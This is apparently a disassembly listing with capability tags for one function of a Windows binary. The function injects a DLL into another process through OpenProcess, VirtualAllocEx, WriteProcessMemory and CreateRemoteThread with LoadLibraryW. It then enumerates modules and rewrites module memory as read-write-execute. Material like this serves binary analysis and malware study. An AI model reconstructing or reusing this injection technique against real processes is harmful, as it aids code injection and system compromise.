Function at 0x1800070bc
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x490
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x488], rax
mov r15, r8
mov r12d, edx
mov r8d, edx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r13d, r13d
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800071cb
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1800071c2
or r9, 0xffffffffffffffff
inc r9
cmp word [r15 + r9*2], r13w
jne 0x18000713a
lea rax, [rsp + 0x480]
mov r8, r15
lea r9, [r9*2 + 2]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800071c2
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
mov qword [rsp + 0x30], r13
xor edx, edx
mov dword [rsp + 0x28], r13d
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x1800071c2
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rsp + 0x40], 0x438
mov r8d, 0x434
lea rcx, [rsp + 0x44]
call fcn.18001d0d0
mov edx, r12d
mov ecx, 0x18
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000735b
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
mov r14, r13
mov rbp, r13
jmp 0x18000726d
lea r8, [rsp + 0x270]
mov rcx, r15
sub r8, r15
movzx eax, word [rcx]
movzx edx, word [rcx + r8]
sub eax, edx
jne 0x180007238
add rcx, 2
test edx, edx
jne 0x180007224
test eax, eax
je 0x180007275
lea r8, [rsp + 0x70]
mov rax, r15
sub r8, r15
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x18000725b
add rax, 2
test edx, edx
jne 0x180007247
test ecx, ecx
je 0x180007275
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
mov edi, eax
test eax, eax
jne 0x180007216
jmp 0x18000727e
mov r14, qword [rsp + 0x58]
mov ebp, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x18000735b
mov rcx, rbp
call fcn.18000b298
mov rdi, rax
test rax, rax
je 0x1800072b1
mov r8, rbp
xor edx, edx
mov rcx, rax
call fcn.18001d0d0
mov byte [rdi], r13b
jmp 0x1800072b4
mov rdi, r13
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800072d5
mov rcx, rbx
jmp 0x180007355
mov r9, rbp
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180007352
mov r8, r15
mov edx, r12d
call fcn.180006f28
test al, al
je 0x180007352
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rbp
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x180007352
mov r9, rbp
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
mov ebx, eax
call fcn.18000b290
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
setne al
jmp 0x18000735d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x488]
xor rcx, rsp
call fcn.18000b240
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x490
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret